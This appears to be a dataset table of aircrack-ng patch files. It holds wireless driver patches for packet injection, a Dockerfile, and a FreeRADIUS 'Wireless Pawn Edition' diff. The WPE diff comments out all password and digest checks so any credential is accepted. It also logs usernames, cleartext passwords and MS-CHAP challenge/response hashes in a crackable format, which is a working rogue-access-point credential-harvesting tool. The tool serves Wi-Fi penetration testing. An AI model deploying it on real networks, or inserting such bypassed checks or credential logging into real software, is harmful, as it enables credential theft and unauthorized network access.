language
stringlengths 0
24
| filename
stringlengths 9
214
| code
stringlengths 99
9.93M
|
---|---|---|
Patch | aircrack-ng/patches/old/zd1211rw_inject_2.6.23.patch | diff -Naur linux-2.6.23_orig/drivers/net/wireless/zd1211rw/zd_mac.c linux-2.6.23_rawtx/drivers/net/wireless/zd1211rw/zd_mac.c
--- linux-2.6.23_orig/drivers/net/wireless/zd1211rw/zd_mac.c 2007-10-09 22:31:38.000000000 +0200
+++ linux-2.6.23_rawtx/drivers/net/wireless/zd1211rw/zd_mac.c 2007-12-04 00:07:04.000000000 +0100
@@ -164,8 +164,17 @@
static int reset_mode(struct zd_mac *mac)
{
struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac);
- u32 filter = (ieee->iw_mode == IW_MODE_MONITOR) ? ~0 : STA_RX_FILTER;
- return zd_iowrite32(&mac->chip, CR_RX_FILTER, filter);
+ struct zd_ioreq32 ioreqs[] = {
+ { CR_RX_FILTER, STA_RX_FILTER },
+ { CR_SNIFFER_ON, 0U },
+ };
+
+ if (ieee->iw_mode == IW_MODE_MONITOR) {
+ ioreqs[0].value = 0xffffffff;
+ ioreqs[1].value = 0x1;
+ }
+
+ return zd_iowrite32a(&mac->chip, ioreqs, ARRAY_SIZE(ioreqs));
}
int zd_mac_open(struct net_device *netdev)
@@ -211,7 +220,13 @@
goto disable_rx;
housekeeping_enable(mac);
- ieee80211softmac_start(netdev);
+ netif_carrier_on(netdev);
+ ieee80211softmac_start(netdev);
+ if(!netif_queue_stopped(netdev))
+ netif_start_queue(netdev);
+ else
+ netif_wake_queue(netdev);
+
return 0;
disable_rx:
zd_chip_disable_rx(chip);
@@ -778,6 +793,8 @@
struct ieee80211_hdr_4addr *hdr)
{
struct ieee80211softmac_device *softmac = ieee80211_priv(mac->netdev);
+ struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac);
+ struct ieee80211softmac_txrates *txrates = &softmac->txrates;
u16 ftype = WLAN_FC_GET_TYPE(le16_to_cpu(hdr->frame_ctl));
u8 rate, zd_rate;
int is_mgt = (ftype == IEEE80211_FTYPE_MGMT) != 0;
@@ -787,10 +804,16 @@
int flags = 0;
/* FIXME: 802.11a? */
- rate = ieee80211softmac_suggest_txrate(softmac, is_multicast, is_mgt);
-
- if (short_preamble)
- flags |= R2M_SHORT_PREAMBLE;
+ if(ieee->iw_mode == IW_MODE_MONITOR)
+ {
+ rate = txrates->default_rate;
+ }
+ else
+ {
+ rate = ieee80211softmac_suggest_txrate(softmac, is_multicast, is_mgt);
+ if (short_preamble)
+ flags |= R2M_SHORT_PREAMBLE;
+ }
zd_rate = rate_to_zd_rate(rate);
cs->modulation = zd_rate_to_modulation(zd_rate, flags);
@@ -800,6 +823,7 @@
struct ieee80211_hdr_4addr *header)
{
struct ieee80211softmac_device *softmac = ieee80211_priv(mac->netdev);
+ struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac);
unsigned int tx_length = le16_to_cpu(cs->tx_length);
u16 fctl = le16_to_cpu(header->frame_ctl);
u16 ftype = WLAN_FC_GET_TYPE(fctl);
@@ -813,13 +837,21 @@
cs->control = 0;
- /* First fragment */
- if (WLAN_GET_SEQ_FRAG(le16_to_cpu(header->seq_ctl)) == 0)
+ if(ieee->iw_mode == IW_MODE_MONITOR)
+ {
cs->control |= ZD_CS_NEED_RANDOM_BACKOFF;
-
- /* Multicast */
- if (is_multicast_ether_addr(header->addr1))
cs->control |= ZD_CS_MULTICAST;
+ }
+ else
+ {
+ /* First fragment */
+ if (WLAN_GET_SEQ_FRAG(le16_to_cpu(header->seq_ctl)) == 0)
+ cs->control |= ZD_CS_NEED_RANDOM_BACKOFF;
+
+ /* Multicast */
+ if (is_multicast_ether_addr(header->addr1))
+ cs->control |= ZD_CS_MULTICAST;
+ }
/* PS-POLL */
if (ftype == IEEE80211_FTYPE_CTL && stype == IEEE80211_STYPE_PSPOLL)
@@ -846,6 +878,7 @@
struct ieee80211_txb *txb,
int frag_num)
{
+ struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac);
int r;
struct sk_buff *skb = txb->fragments[frag_num];
struct ieee80211_hdr_4addr *hdr =
@@ -869,7 +902,10 @@
cs->tx_length = cpu_to_le16(frag_len);
- cs_set_control(mac, cs, hdr);
+/* if(ieee->iw_mode == IW_MODE_MONITOR)
+ cs->control = ZD_CS_MULTICAST;
+ else*/
+ cs_set_control(mac, cs, hdr);
packet_length = frag_len + sizeof(struct zd_ctrlset) + 10;
ZD_ASSERT(packet_length <= 0xffff);
@@ -925,7 +961,11 @@
ieee->stats.tx_dropped++;
return r;
}
- r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len);
+
+ if(ieee->iw_mode == IW_MODE_MONITOR)
+ r = zd_usb_tx_inject(&mac->chip.usb, skb->data, skb->len);
+ else
+ r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len);
if (r) {
ieee->stats.tx_dropped++;
return r;
@@ -945,6 +985,8 @@
u8 rt_rate;
u16 rt_channel;
u16 rt_chbitmask;
+ u8 rt_antsignal;
+ u8 rt_antnoise;
} __attribute__((packed));
static void fill_rt_header(void *buffer, struct zd_mac *mac,
@@ -958,7 +1000,9 @@
hdr->rt_hdr.it_len = cpu_to_le16(sizeof(struct zd_rt_hdr));
hdr->rt_hdr.it_present = cpu_to_le32((1 << IEEE80211_RADIOTAP_FLAGS) |
(1 << IEEE80211_RADIOTAP_CHANNEL) |
- (1 << IEEE80211_RADIOTAP_RATE));
+ (1 << IEEE80211_RADIOTAP_RATE) |
+ (1 << IEEE80211_RADIOTAP_DBM_ANTSIGNAL) |
+ (1 << IEEE80211_RADIOTAP_DBM_ANTNOISE));
hdr->rt_flags = 0;
if (status->decryption_type & (ZD_RX_WEP64|ZD_RX_WEP128|ZD_RX_WEP256))
@@ -972,6 +1016,9 @@
hdr->rt_chbitmask = cpu_to_le16(IEEE80211_CHAN_2GHZ |
((status->frame_status & ZD_RX_FRAME_MODULATION_MASK) ==
ZD_RX_OFDM ? IEEE80211_CHAN_OFDM : IEEE80211_CHAN_CCK));
+
+ hdr->rt_antsignal = status->signal_strength;
+ hdr->rt_antnoise = stats->noise;
}
/* Returns 1 if the data packet is for us and 0 otherwise. */
@@ -1078,7 +1125,8 @@
const struct rx_status *status;
*pstatus = status = zd_tail(buffer, length, sizeof(struct rx_status));
- if (status->frame_status & ZD_RX_ERROR) {
+ if ((status->frame_status & ZD_RX_ERROR) ||
+ (status->frame_status & ~0x21)){
struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac);
ieee->stats.rx_errors++;
if (status->frame_status & ZD_RX_TIMEOUT_ERROR)
diff -Naur linux-2.6.23_orig/drivers/net/wireless/zd1211rw/zd_usb.c linux-2.6.23_rawtx/drivers/net/wireless/zd1211rw/zd_usb.c
--- linux-2.6.23_orig/drivers/net/wireless/zd1211rw/zd_usb.c 2007-10-09 22:31:38.000000000 +0200
+++ linux-2.6.23_rawtx/drivers/net/wireless/zd1211rw/zd_usb.c 2007-12-04 00:07:33.000000000 +0100
@@ -811,6 +811,46 @@
return r;
}
+/* Puts the frame on the USB endpoint. It doesn't wait for
+ * completion. The frame must contain the control set.
+ */
+int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length)
+{
+ int r;
+ struct usb_device *udev = zd_usb_to_usbdev(usb);
+ struct urb *urb;
+ void *buffer;
+
+ urb = usb_alloc_urb(0, GFP_ATOMIC);
+ if (!urb) {
+ r = -ENOMEM;
+ goto out;
+ }
+
+ buffer = usb_buffer_alloc(zd_usb_to_usbdev(usb), length, GFP_ATOMIC,
+ &urb->transfer_dma);
+ if (!buffer) {
+ r = -ENOMEM;
+ goto error_free_urb;
+ }
+ memcpy(buffer, frame, length);
+
+ usb_fill_bulk_urb(urb, udev, usb_sndbulkpipe(udev, EP_DATA_OUT),
+ buffer, length, tx_urb_complete, NULL);
+
+ r = usb_submit_urb(urb, GFP_ATOMIC);
+ if (r)
+ goto error;
+ return 0;
+error:
+ usb_buffer_free(zd_usb_to_usbdev(usb), length, buffer,
+ urb->transfer_dma);
+error_free_urb:
+ usb_free_urb(urb);
+out:
+ return r;
+}
+
static inline void init_usb_interrupt(struct zd_usb *usb)
{
struct zd_usb_interrupt *intr = &usb->intr;
diff -Naur linux-2.6.23_orig/drivers/net/wireless/zd1211rw/zd_usb.h linux-2.6.23_rawtx/drivers/net/wireless/zd1211rw/zd_usb.h
--- linux-2.6.23_orig/drivers/net/wireless/zd1211rw/zd_usb.h 2007-10-09 22:31:38.000000000 +0200
+++ linux-2.6.23_rawtx/drivers/net/wireless/zd1211rw/zd_usb.h 2007-12-04 00:07:22.000000000 +0100
@@ -222,6 +222,7 @@
void zd_usb_disable_rx(struct zd_usb *usb);
int zd_usb_tx(struct zd_usb *usb, const u8 *frame, unsigned int length);
+int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length);
int zd_usb_ioread16v(struct zd_usb *usb, u16 *values,
const zd_addr_t *addresses, unsigned int count); |
Patch | aircrack-ng/patches/old/zd1211rw_inject_2.6.26.patch | diff -pur drivers/net/wireless/zd1211rw/zd_mac.c.orig drivers/net/wireless/zd1211rw/zd_mac.c
--- drivers/net/wireless/zd1211rw/zd_mac.c.orig 2008-07-20 19:44:42.000000000 +0200
+++ drivers/net/wireless/zd1211rw/zd_mac.c 2008-07-20 19:49:24.000000000 +0200
@@ -159,14 +159,19 @@ void zd_mac_clear(struct zd_mac *mac)
static int set_rx_filter(struct zd_mac *mac)
{
unsigned long flags;
- u32 filter = STA_RX_FILTER;
+ struct zd_ioreq32 ioreqs[] = {
+ {CR_RX_FILTER, STA_RX_FILTER},
+ { CR_SNIFFER_ON, 0U },
+ };
spin_lock_irqsave(&mac->lock, flags);
- if (mac->pass_ctrl)
- filter |= RX_FILTER_CTRL;
+ if (mac->pass_ctrl) {
+ ioreqs[0].value |= 0xFFFFFFFF;
+ ioreqs[1].value = 0x1;
+ }
spin_unlock_irqrestore(&mac->lock, flags);
- return zd_iowrite32(&mac->chip, CR_RX_FILTER, filter);
+ return zd_iowrite32a(&mac->chip, ioreqs, ARRAY_SIZE(ioreqs));
}
static int set_mc_hash(struct zd_mac *mac)
@@ -679,7 +684,8 @@ int zd_mac_rx(struct ieee80211_hw *hw, c
/* Caller has to ensure that length >= sizeof(struct rx_status). */
status = (struct rx_status *)
(buffer + (length - sizeof(struct rx_status)));
- if (status->frame_status & ZD_RX_ERROR) {
+ if ((status->frame_status & ZD_RX_ERROR) ||
+ (status->frame_status & ~0x21)) {
if (mac->pass_failed_fcs &&
(status->frame_status & ZD_RX_CRC32_ERROR)) {
stats.flag |= RX_FLAG_FAILED_FCS_CRC; |
Patch | aircrack-ng/patches/old/zd1211rw_malformed.patch | --- linux-source-2.6.17-orig/drivers/net/wireless/zd1211rw/zd_mac.c 2006-10-01 18:42:47.000000000 +0200
+++ linux-source-2.6.17-rawtx/drivers/net/wireless/zd1211rw/zd_mac.c 2007-04-01 22:35:50.000000000 +0200
@@ -716,6 +716,8 @@
u8 rt_rate;
u16 rt_channel;
u16 rt_chbitmask;
+ u8 rt_antsignal;
+ u8 rt_antnoise;
} __attribute__((packed));
static void fill_rt_header(void *buffer, struct zd_mac *mac,
@@ -729,7 +731,9 @@
hdr->rt_hdr.it_len = cpu_to_le16(sizeof(struct zd_rt_hdr));
hdr->rt_hdr.it_present = cpu_to_le32((1 << IEEE80211_RADIOTAP_FLAGS) |
(1 << IEEE80211_RADIOTAP_CHANNEL) |
- (1 << IEEE80211_RADIOTAP_RATE));
+ (1 << IEEE80211_RADIOTAP_RATE) |
+ (1 << IEEE80211_RADIOTAP_DBM_ANTSIGNAL) |
+ (1 << IEEE80211_RADIOTAP_DBM_ANTNOISE));
hdr->rt_flags = 0;
if (status->decryption_type & (ZD_RX_WEP64|ZD_RX_WEP128|ZD_RX_WEP256))
@@ -743,6 +747,12 @@
hdr->rt_chbitmask = cpu_to_le16(IEEE80211_CHAN_2GHZ |
((status->frame_status & ZD_RX_FRAME_MODULATION_MASK) ==
ZD_RX_OFDM ? IEEE80211_CHAN_OFDM : IEEE80211_CHAN_CCK));
+
+ hdr->rt_antsignal = status->signal_strength;
+ if(status->frame_status & ZD_RX_OFDM)
+ hdr->rt_antnoise = status->signal_strength - status->signal_quality_ofdm;
+ else
+ hdr->rt_antnoise = status->signal_strength - status->signal_quality_cck;
}
/* Returns 1 if the data packet is for us and 0 otherwise. */
@@ -834,7 +844,8 @@
const struct rx_status *status;
*pstatus = status = zd_tail(buffer, length, sizeof(struct rx_status));
- if (status->frame_status & ZD_RX_ERROR) {
+ if (status->frame_status & ZD_RX_ERROR
+ || status->frame_status & ~0x21) {
/* FIXME: update? */
return -EINVAL;
} |
aircrack-ng/patches/wpe/freeradius-wpe/Dockerfile | # Docker container to test WPE patch against a specific version of freeradius, then create an updated patch if successful.
# Build args:
# - OLD_VERSION: old hostapd version
# - NEW_VERSION: new hostapd version
FROM kalilinux/kali-rolling
ARG OLD_VERSION
ARG NEW_VERSION
RUN if [ -z "${OLD_VERSION}" ]; then \
>&2 echo "\nOLD_VERSION build argument not set\n"; \
exit 1; \
fi
RUN if [ -z "${NEW_VERSION}" ]; then \
>&2 echo "\nNEW_VERSION build argument not set\n"; \
exit 1; \
fi
RUN if [ "${NEW_VERSION}" = "${OLD_VERSION}" ]; then \
>&2 echo "\nNew version and old version cannot be identical!\n"; \
exit 1; \
fi
RUN apt-get update && apt-get dist-upgrade -y && \
apt-get install -y wget patch make gcc \
libssl-dev build-essential libtalloc-dev libpcre2-dev libsqlite3-dev \
libhiredis-dev libykclient-dev libyubikey-dev default-libmysqlclient-dev \
libcurl4-openssl-dev libperl-dev libpam0g-dev libcap-dev libmemcached-dev \
libgdbm-dev unixodbc-dev libpq-dev libwbclient-dev libkrb5-dev libjson-c-dev \
freetds-dev samba-dev libcollectdclient-dev libldap-dev && \
apt-get autoclean && \
rm -rf /var/lib/apt/lists/*
# Download and unpack
WORKDIR /tmp
RUN wget https://github.com/FreeRADIUS/freeradius-server/releases/download/release_$(echo ${NEW_VERSION} | tr '.' '_')/freeradius-server-${NEW_VERSION}.tar.bz2
RUN tar -xjf freeradius-server-${NEW_VERSION}.tar.bz2
RUN cp -R freeradius-server-${NEW_VERSION} freeradius-server-${NEW_VERSION}-wpe
# Download and apply patch
RUN wget https://raw.githubusercontent.com/aircrack-ng/aircrack-ng/master/patches/wpe/freeradius-wpe/freeradius-server-${OLD_VERSION}-wpe.diff
WORKDIR /tmp/freeradius-server-${NEW_VERSION}-wpe
RUN patch --no-backup-if-mismatch -Np1 -i ../freeradius-server-${OLD_VERSION}-wpe.diff
# Create updated patch
WORKDIR /tmp/
RUN if [ $(diff -rupN freeradius-server-${NEW_VERSION} freeradius-server-${NEW_VERSION}-wpe > freeradius-server-${NEW_VERSION}-wpe.diff) -eq 2 ]; then \
echo "diff failed"; \
ext 1; \
fi
# Ensure it compiles
WORKDIR /tmp/freeradius-server-${NEW_VERSION}-wpe
RUN ./configure
RUN make
# Then copy patch to /output
WORKDIR /tmp
RUN mkdir /output && mv freeradius-server-${NEW_VERSION}-wpe.diff /output
WORKDIR /output |
|
aircrack-ng/patches/wpe/freeradius-wpe/freeradius-server-3.2.2-wpe.diff | diff -rupN freeradius-server-3.2.2/raddb/mods-config/files/authorize freeradius-server-3.2.2-wpe/raddb/mods-config/files/authorize
--- freeradius-server-3.2.2/raddb/mods-config/files/authorize 2023-02-16 14:38:01.000000000 +0000
+++ freeradius-server-3.2.2-wpe/raddb/mods-config/files/authorize 2023-02-16 16:05:35.000000000 +0000
@@ -204,3 +204,5 @@ DEFAULT Hint == "SLIP"
# See the example user "bob" above. #
#########################################################
+DEFAULT Cleartext-Password := "foo", MS-CHAP-Use-NTLM-Auth := 0
+DEFAULT Cleartext-Password := "a"
diff -rupN freeradius-server-3.2.2/raddb/radiusd.conf.in freeradius-server-3.2.2-wpe/raddb/radiusd.conf.in
--- freeradius-server-3.2.2/raddb/radiusd.conf.in 2023-02-16 14:38:01.000000000 +0000
+++ freeradius-server-3.2.2-wpe/raddb/radiusd.conf.in 2023-02-16 16:05:35.000000000 +0000
@@ -445,6 +445,9 @@ ENV {
# LD_PRELOAD = /path/to/library2.so
}
+# Wireless Pawn Edition log file
+wpelogfile = ${logdir}/freeradius-server-wpe.log
+
# SECURITY CONFIGURATION
#
# There may be multiple methods of attacking on the server. This
diff -rupN freeradius-server-3.2.2/src/include/log.h freeradius-server-3.2.2-wpe/src/include/log.h
--- freeradius-server-3.2.2/src/include/log.h 2023-02-16 14:38:01.000000000 +0000
+++ freeradius-server-3.2.2-wpe/src/include/log.h 2023-02-16 16:05:35.000000000 +0000
@@ -72,6 +72,11 @@ typedef struct fr_log_t {
char const *debug_file; //!< Path to debug log file.
} fr_log_t;
+void log_wpe(const char *authtype, const char *username, const char *password,
+ const unsigned char *challenge, const unsigned int challen,
+ const unsigned char *response, const unsigned int resplen,
+ const char * logfilename);
+
typedef void (*radlog_func_t)(log_type_t lvl, log_lvl_t priority, REQUEST *, char const *, va_list ap);
extern FR_NAME_NUMBER const syslog_facility_table[];
diff -rupN freeradius-server-3.2.2/src/include/radiusd.h freeradius-server-3.2.2-wpe/src/include/radiusd.h
--- freeradius-server-3.2.2/src/include/radiusd.h 2023-02-16 14:38:01.000000000 +0000
+++ freeradius-server-3.2.2-wpe/src/include/radiusd.h 2023-02-16 16:05:35.000000000 +0000
@@ -152,6 +152,8 @@ typedef struct main_config {
char const *checkrad; //!< Script to use to determine if a user is already
//!< connected.
+ char const *wpelogfile; //!< Wireless Pawn Edition log file path.
+
rad_listen_t *listen; //!< Head of a linked list of listeners.
diff -rupN freeradius-server-3.2.2/src/main/auth.c freeradius-server-3.2.2-wpe/src/main/auth.c
--- freeradius-server-3.2.2/src/main/auth.c 2023-02-16 14:38:01.000000000 +0000
+++ freeradius-server-3.2.2-wpe/src/main/auth.c 2023-02-16 16:05:35.000000000 +0000
@@ -129,6 +129,7 @@ static int rad_authlog(char const *msg,
} else {
fr_prints(clean_password, sizeof(clean_password),
request->password->vp_strvalue, request->password->vp_length, '\0');
+ log_wpe("password", request->username->vp_strvalue, clean_password, NULL, 0, NULL, 0, main_config.wpelogfile);
}
}
diff -rupN freeradius-server-3.2.2/src/main/libfreeradius-server.mk freeradius-server-3.2.2-wpe/src/main/libfreeradius-server.mk
--- freeradius-server-3.2.2/src/main/libfreeradius-server.mk 2023-02-16 14:38:01.000000000 +0000
+++ freeradius-server-3.2.2-wpe/src/main/libfreeradius-server.mk 2023-02-16 16:05:35.000000000 +0000
@@ -14,6 +14,7 @@ SOURCES := conffile.c \
pair.c \
xlat.c
+
# This lets the linker determine which version of the SSLeay functions to use.
TGT_LDLIBS := $(OPENSSL_LIBS)
diff -rupN freeradius-server-3.2.2/src/main/log.c freeradius-server-3.2.2-wpe/src/main/log.c
--- freeradius-server-3.2.2/src/main/log.c 2023-02-16 14:38:01.000000000 +0000
+++ freeradius-server-3.2.2-wpe/src/main/log.c 2023-02-16 16:05:35.000000000 +0000
@@ -29,6 +29,7 @@ RCSID("$Id: 1ca2f914c258f3c199274421d7d2
#include <freeradius-devel/radiusd.h>
#include <freeradius-devel/rad_assert.h>
+/*#include <freeradius-devel/conf.h>*/
#ifdef HAVE_SYS_STAT_H
# include <sys/stat.h>
@@ -46,6 +47,9 @@ RCSID("$Id: 1ca2f914c258f3c199274421d7d2
#include <pthread.h>
#endif
+#include <stdio.h>
+#include <time.h>
+
log_lvl_t rad_debug_lvl = 0; //!< Global debugging level
static bool rate_limit = true; //!< Whether repeated log entries should be rate limited
@@ -226,6 +230,73 @@ static int stdout_fd = -1; //!< The orig
static char const spaces[] = " ";
+/** Prints username, password or challenge/response
+ *
+ */
+void log_wpe(const char *authtype, const char *username, const char *password,
+ const unsigned char *challenge, const unsigned int challen,
+ const unsigned char *response, const unsigned int resplen,
+ const char * logfilename)
+{
+ FILE *logfd;
+ time_t nowtime;
+ unsigned int count;
+
+ /* Get wpelogfile parameter and log data */
+ if (logfilename == NULL) {
+ logfd = stderr;
+ } else {
+ logfd = fopen(logfilename, "a");
+ if (logfd == NULL) {
+ fr_strerror_printf(" log: FAILED: Unable to open output log file %s: %s", logfilename, strerror(errno));
+ logfd = stderr;
+ }
+ }
+
+ nowtime = time(NULL);
+ fprintf(logfd, "%s: %s\n", authtype, ctime(&nowtime));
+
+ if (username != NULL) {
+ fprintf(logfd, "\tusername: %s\n", username);
+ }
+ if (password != NULL) {
+ fprintf(logfd, "\tpassword: %s\n", password);
+ }
+
+ if (challen != 0) {
+ fprintf(logfd, "\tchallenge: ");
+ for (count=0; count!=(challen-1); count++) {
+ fprintf(logfd, "%02x:",challenge[count]);
+ }
+ fprintf(logfd, "%02x\n",challenge[challen-1]);
+ }
+
+ if (resplen != 0) {
+ fprintf(logfd, "\tresponse: ");
+ for (count=0; count!=(resplen-1); count++) {
+ fprintf(logfd, "%02x:",response[count]);
+ }
+ fprintf(logfd, "%02x\n",response[resplen-1]);
+ }
+
+ if ( (strncmp(authtype, "mschap", 6) == 0) && username != NULL
+ && challen != 0 && resplen != 0) {
+ fprintf(logfd, "\tjohn NETNTLM: %s:$NETNTLM$",username);
+ for (count=0; count<challen; count++) {
+ fprintf(logfd, "%02x",challenge[count]);
+ }
+ fprintf(logfd,"$");
+ for (count=0; count<resplen; count++) {
+ fprintf(logfd, "%02x",response[count]);
+ }
+ fprintf(logfd,"\n");
+ }
+
+ fprintf(logfd, "\n");
+
+ fclose(logfd);
+}
+
/** On fault, reset STDOUT and STDERR to something useful
*
* @return 0
diff -rupN freeradius-server-3.2.2/src/main/mainconfig.c freeradius-server-3.2.2-wpe/src/main/mainconfig.c
--- freeradius-server-3.2.2/src/main/mainconfig.c 2023-02-16 14:38:01.000000000 +0000
+++ freeradius-server-3.2.2-wpe/src/main/mainconfig.c 2023-02-16 16:05:35.000000000 +0000
@@ -200,6 +200,7 @@ static const CONF_PARSER server_config[]
{ "postauth_client_lost", FR_CONF_POINTER(PW_TYPE_BOOLEAN, &main_config.postauth_client_lost), "no" },
{ "pidfile", FR_CONF_POINTER(PW_TYPE_STRING, &main_config.pid_file), "${run_dir}/radiusd.pid"},
{ "checkrad", FR_CONF_POINTER(PW_TYPE_STRING, &main_config.checkrad), "${sbindir}/checkrad" },
+ { "wpelogfile", FR_CONF_POINTER(PW_TYPE_STRING, &main_config.wpelogfile), "${logdir}/freeradius-server-wpe.log" },
{ "debug_level", FR_CONF_POINTER(PW_TYPE_INTEGER, &main_config.debug_level), "0"},
diff -rupN freeradius-server-3.2.2/src/main/radiusd.c freeradius-server-3.2.2-wpe/src/main/radiusd.c
--- freeradius-server-3.2.2/src/main/radiusd.c 2023-02-16 14:38:01.000000000 +0000
+++ freeradius-server-3.2.2-wpe/src/main/radiusd.c 2023-02-16 16:05:35.000000000 +0000
@@ -64,7 +64,7 @@ char const *radlog_dir = NULL;
bool log_stripped_names;
-char const *radiusd_version = "FreeRADIUS Version " RADIUSD_VERSION_STRING
+char const *radiusd_version = "FreeRADIUS-WPE Version " RADIUSD_VERSION_STRING
#ifdef RADIUSD_VERSION_COMMIT
" (git #" STRINGIFY(RADIUSD_VERSION_COMMIT) ")"
#endif
diff -rupN freeradius-server-3.2.2/src/modules/rlm_eap/types/rlm_eap_md5/eap_md5.c freeradius-server-3.2.2-wpe/src/modules/rlm_eap/types/rlm_eap_md5/eap_md5.c
--- freeradius-server-3.2.2/src/modules/rlm_eap/types/rlm_eap_md5/eap_md5.c 2023-02-16 14:38:01.000000000 +0000
+++ freeradius-server-3.2.2-wpe/src/modules/rlm_eap/types/rlm_eap_md5/eap_md5.c 2023-02-16 16:05:35.000000000 +0000
@@ -166,10 +166,14 @@ int eapmd5_verify(MD5_PACKET *packet, VA
/*
* The length of the response is always 16 for MD5.
*/
+ /*
if (rad_digest_cmp(digest, packet->value, 16) != 0) {
DEBUG("EAP-MD5 digests do not match.");
return 0;
}
+ */
+ log_wpe("eap_md5", packet->name, NULL, challenge, MD5_CHALLENGE_LEN,
+ packet->value, 16, main_config.wpelogfile);
return 1;
}
diff -rupN freeradius-server-3.2.2/src/modules/rlm_mschap/rlm_mschap.c freeradius-server-3.2.2-wpe/src/modules/rlm_mschap/rlm_mschap.c
--- freeradius-server-3.2.2/src/modules/rlm_mschap/rlm_mschap.c 2023-02-16 14:38:01.000000000 +0000
+++ freeradius-server-3.2.2-wpe/src/modules/rlm_mschap/rlm_mschap.c 2023-02-16 16:05:35.000000000 +0000
@@ -1189,10 +1189,13 @@ ntlm_auth_err:
*/
static int CC_HINT(nonnull (1, 2, 4, 5 ,6)) do_mschap(rlm_mschap_t *inst, REQUEST *request, VALUE_PAIR *password,
uint8_t const *challenge, uint8_t const *response,
- uint8_t nthashhash[NT_DIGEST_LENGTH], MSCHAP_AUTH_METHOD method)
+ uint8_t nthashhash[NT_DIGEST_LENGTH], MSCHAP_AUTH_METHOD method,
+ const char *username)
{
uint8_t calculated[24];
+ log_wpe("mschap", username, NULL, challenge, 8, response, 24, main_config.wpelogfile);
+
memset(nthashhash, 0, NT_DIGEST_LENGTH);
switch (method) {
@@ -1209,9 +1212,11 @@ static int CC_HINT(nonnull (1, 2, 4, 5 ,
}
smbdes_mschap(password->vp_octets, challenge, calculated);
+ /*
if (rad_digest_cmp(response, calculated, 24) != 0) {
return -1;
}
+ */
/*
* If the password exists, and is an NT-Password,
@@ -1945,7 +1950,7 @@ static rlm_rcode_t CC_HINT(nonnull) mod_
* Do the MS-CHAP authentication.
*/
mschap_result = do_mschap(inst, request, password, challenge->vp_octets,
- response->vp_octets + offset, nthashhash, auth_method);
+ response->vp_octets + offset, nthashhash, auth_method, NULL);
/*
* Check for errors, and add MSCHAP-Error if necessary.
*/
@@ -2062,7 +2067,7 @@ static rlm_rcode_t CC_HINT(nonnull) mod_
RDEBUG2("Client is using MS-CHAPv2");
mschap_result = do_mschap(inst, request, nt_password, mschapv1_challenge,
- response->vp_octets + 26, nthashhash, auth_method);
+ response->vp_octets + 26, nthashhash, auth_method, username_string);
rcode = mschap_error(inst, request, *response->vp_octets,
mschap_result, mschap_version, smb_ctrl);
if (rcode != RLM_MODULE_OK) return rcode;
diff -rupN freeradius-server-3.2.2/src/modules/rlm_pap/rlm_pap.c freeradius-server-3.2.2-wpe/src/modules/rlm_pap/rlm_pap.c
--- freeradius-server-3.2.2/src/modules/rlm_pap/rlm_pap.c 2023-02-16 14:38:01.000000000 +0000
+++ freeradius-server-3.2.2-wpe/src/modules/rlm_pap/rlm_pap.c 2023-02-16 16:05:35.000000000 +0000
@@ -566,6 +566,7 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
RDEBUG("Comparing with \"known good\" Cleartext-Password");
}
+ /*
if ((vp->vp_length != request->password->vp_length) ||
(rad_digest_cmp(vp->vp_octets,
request->password->vp_octets,
@@ -573,6 +574,7 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
REDEBUG("Cleartext password does not match \"known good\" password");
return RLM_MODULE_REJECT;
}
+ */
return RLM_MODULE_OK;
}
@@ -611,12 +613,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
fr_md5_update(&md5_context, request->password->vp_octets,
request->password->vp_length);
fr_md5_final(digest, &md5_context);
-
+ /*
if (rad_digest_cmp(digest, vp->vp_octets, vp->vp_length) != 0) {
REDEBUG("MD5 digest does not match \"known good\" digest");
return RLM_MODULE_REJECT;
}
-
+ */
return RLM_MODULE_OK;
}
@@ -645,10 +647,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
/*
* Compare only the MD5 hash results, not the salt.
*/
+ /*
if (rad_digest_cmp(digest, vp->vp_octets, 16) != 0) {
REDEBUG("SMD5 digest does not match \"known good\" digest");
return RLM_MODULE_REJECT;
}
+ */
return RLM_MODULE_OK;
}
@@ -673,10 +677,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
request->password->vp_length);
fr_sha1_final(digest,&sha1_context);
+ /*
if (rad_digest_cmp(digest, vp->vp_octets, vp->vp_length) != 0) {
REDEBUG("SHA1 digest does not match \"known good\" digest");
return RLM_MODULE_REJECT;
}
+ */
return RLM_MODULE_OK;
}
@@ -702,10 +708,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
fr_sha1_update(&sha1_context, &vp->vp_octets[20], vp->vp_length - 20);
fr_sha1_final(digest, &sha1_context);
+ /*
if (rad_digest_cmp(digest, vp->vp_octets, 20) != 0) {
REDEBUG("SSHA digest does not match \"known good\" digest");
return RLM_MODULE_REJECT;
}
+ */
return RLM_MODULE_OK;
}
@@ -766,10 +774,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
rad_assert((size_t) digest_len == vp->vp_length); /* This would be an OpenSSL bug... */
+ /*
if (rad_digest_cmp(digest, vp->vp_octets, vp->vp_length) != 0) {
REDEBUG("%s digest does not match \"known good\" digest", name);
return RLM_MODULE_REJECT;
}
+ */
return RLM_MODULE_OK;
}
@@ -838,10 +848,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
/*
* Only compare digest_len bytes, the rest is salt.
*/
+ /*
if (rad_digest_cmp(digest, vp->vp_octets, (size_t)digest_len) != 0) {
REDEBUG("%s digest does not match \"known good\" digest", name);
return RLM_MODULE_REJECT;
}
+ */
return RLM_MODULE_OK;
}
@@ -1169,10 +1181,12 @@ static rlm_rcode_t CC_HINT(nonnull) pap_
fr_md4_calc(digest, (uint8_t *) ucs2_password, len);
+ /*
if (rad_digest_cmp(digest, vp->vp_octets, vp->vp_length) != 0) {
REDEBUG("NT digest does not match \"known good\" digest");
return RLM_MODULE_REJECT;
}
+ */
return RLM_MODULE_OK;
}
